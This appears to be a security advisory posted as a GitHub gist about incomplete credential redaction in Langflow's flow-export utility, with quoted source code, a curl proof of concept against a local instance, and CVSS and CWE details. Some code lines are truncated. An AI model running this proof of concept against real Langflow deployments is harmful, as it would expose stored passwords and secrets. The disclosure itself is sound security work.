chenhouser2025 / **ISSUE-Github-REPORT-Information_Leak.md**

Last active 3 months ago

Code Revisions 3

Information Leak via Incomplete API Key Redaction in `remove_api_keys` Utility

ISSUE-Github-REPORT-Information_Leak.md

Advisory Details

Title: Information Leak via Incomplete API Key Redaction in `remove_api_keys` Utility

Description:

Summary

An information leak vulnerability exists in Langflow's `remove_api_keys` utility. The function fails to redact sensitive fields (such as passwords or secrets) if their names do not strictly adhere to a specific naming convention (containing "api" AND ("key" or "token")), even when the field is explicitly marked as sensitive with `password=True`. This allows authenticated users (or anyone with access to exported flows) to recover plain-text credentials from exported flow JSON files.

Details

The vulnerability is located in `src/backend/base/langflow/api/utils/core.py`. The `remove_api_keys` function iterates through the nodes of a flow and attempts to redact sensitive values. However, it relies on a helper function `has_api_terms` to decide whether a field should be redacted.

The `has_api_terms` function (lines 54-55) implements a restrictive heuristic:

```
def has_api_terms(word: str):
    return "api" in word and ("key" in word or ("token" in word and "tokens"
```

The `remove_api_keys` function (lines 58-67) uses this heuristic combined with the `password` property:

```
def remove_api_keys(flow: dict):
    """Remove api keys from flow data."""
    for node in flow.get("data", {}).get("nodes", []):
        node_data = node.get("data").get("node")
        template = node_data.get("template")
        for value in template.values():
            if isinstance(value, dict) and has_api_terms(value["name"]) and v
                value["value"] = None
```

The logic `has_api_terms(value["name"]) and value.get("password")` means that a field is **only** redacted if:

1. It is marked as a password (`password=True`).
2. **AND** its name contains "api" **AND** ("key" or "token").

If a user or a custom component defines a sensitive field named simply `password`, `db_password`, or `secret_value` (which are valid names that do not match the "api key" pattern), `has_api_terms` returns `False`, and the value is **not redacted**, leading to an information leak in the exported JSON.

PoC

1. **Create a Malicious Flow**: Send a POST request to create a flow containing a sensitive field named `password` with `password=True`. This specific name bypasses the `has_api_terms` redaction check.

```
curl -X POST "http://127.0.0.1:7860/api/v1/flows/" \
     -H "Content-Type: application/json" \
     -d '{
           "name": "Manual Exploit Flow",
           "data": {
             "nodes": [
               {
                 "id": "node-1",
                 "data": {
                   "node": {
                     "template": {
                       "password_field": {
                         "name": "password",
                         "password": true,
                         "value": "SUPER_SECRET_VALUE"
```

```
                    }
                  }
                }
              }
            }
          ],
          "edges": []
        }
      }'
```

Note the `id` returned in the response (e.g., `90f41b0f-b21e-41d0-8166-007443912f28`).

2. **Download the Flow**: Use the `id` obtained in the previous step to download the flow via the API.

```
# Replace <FLOW_ID> with the actual ID from step 1
curl -X POST "http://127.0.0.1:7860/api/v1/flows/download/" \
     -H "Content-Type: application/json" \
     -d '["<FLOW_ID>"]'
```

3. **Verify the Leak**: Inspect the JSON response. The `value` field will contain the plain-text secret `"SUPER_SECRET_VALUE"` instead of being redacted to `null`.

   Example Output:

```
{
  ...
  "data": {
    "nodes": [
      {
        "id": "node-1",
        "data": {
          "node": {
            "template": {
              "password_field": {
                "name": "password",
                "password": true,
                "value": "SUPER_SECRET_VALUE"
              }
            }
          }
        }
      }
    ]
  }
```

```
    ...
}
```

Screen shot:

Impact

Information Leak. Sensitive credentials such as database passwords, third-party service secrets (that don't use "api key" in their name), and other confidential data stored in flow configurations can be leaked. This affects any user who shares a flow file, assuming the sensitive fields are redacted, or any attacker who gains read access to flow exports.

Affected products

- **Ecosystem**: pip
- **Package name**: langflow
- **Affected versions**: <= 1.7.3

- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Weaknesses

- **CWE**: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- **CWE**: CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer

Occurrences

Permalink	Description
https://github.com/langflow-ai/langflow/blob/main/src/backend/base/langflow/api/utils/core.py#L54-L55	The `has_api_term` function definir the restrictive naming convention.
https://github.com/langflow-ai/langflow/blob/main/src/backend/base/langflow/api/utils/core.py#L64	The `remove_api_k` function using flawed heuristi decide on redaction.